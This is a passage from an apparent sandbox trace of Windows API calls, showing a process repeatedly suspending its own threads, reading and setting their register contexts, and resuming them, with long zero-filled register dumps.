[189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0166.698] ResumeThread (hThread=0x1c8) returned 0x1 [0166.698] CloseHandle (hObject=0x1c8) returned 1 [0166.699] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0166.803] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0166.925] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x1c8) returned 1 [0166.925] SuspendThread (hThread=0x1c8) returned 0x0 [0166.925] GetThreadContext (in: hThread=0x1c8, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019fae8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f702b20, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0166.927] SetThreadContext (hThread=0x1c8, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019fae0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0166.927] ResumeThread (hThread=0x1c8) returned 0x1 [0166.927] CloseHandle (hObject=0x1c8) returned 1 [0166.928] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0167.032] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0167.140] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x1c8) returned 1 [0167.141] SuspendThread (hThread=0x1c8) returned 0x0 [0167.141] GetThreadContext (in: hThread=0x1c8, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x2844fb48, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f715320, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0167.143] ResumeThread (hThread=0x1c8) returned 0x1 [0167.143] CloseHandle (hObject=0x1c8) returned 1 [0167.143] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0167.248] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x1c8) returned 1 [0167.249] SuspendThread (hThread=0x1c8) returned 0x0 [0167.249] GetThreadContext (in: hThread=0x1c8, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x2844f9b8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f6fa580, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0167.249] ResumeThread (hThread=0x1c8) returned 0x1 [0167.250] CloseHandle (hObject=0x1c8) returned 1 [0167.250] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0167.357] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0167.463] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0167.567] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x1d4) returned 1 [0167.567] SuspendThread (hThread=0x1d4) returned 0x0 [0167.567] GetThreadContext (in: hThread=0x1d4, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019f958, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f8bcfc0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, 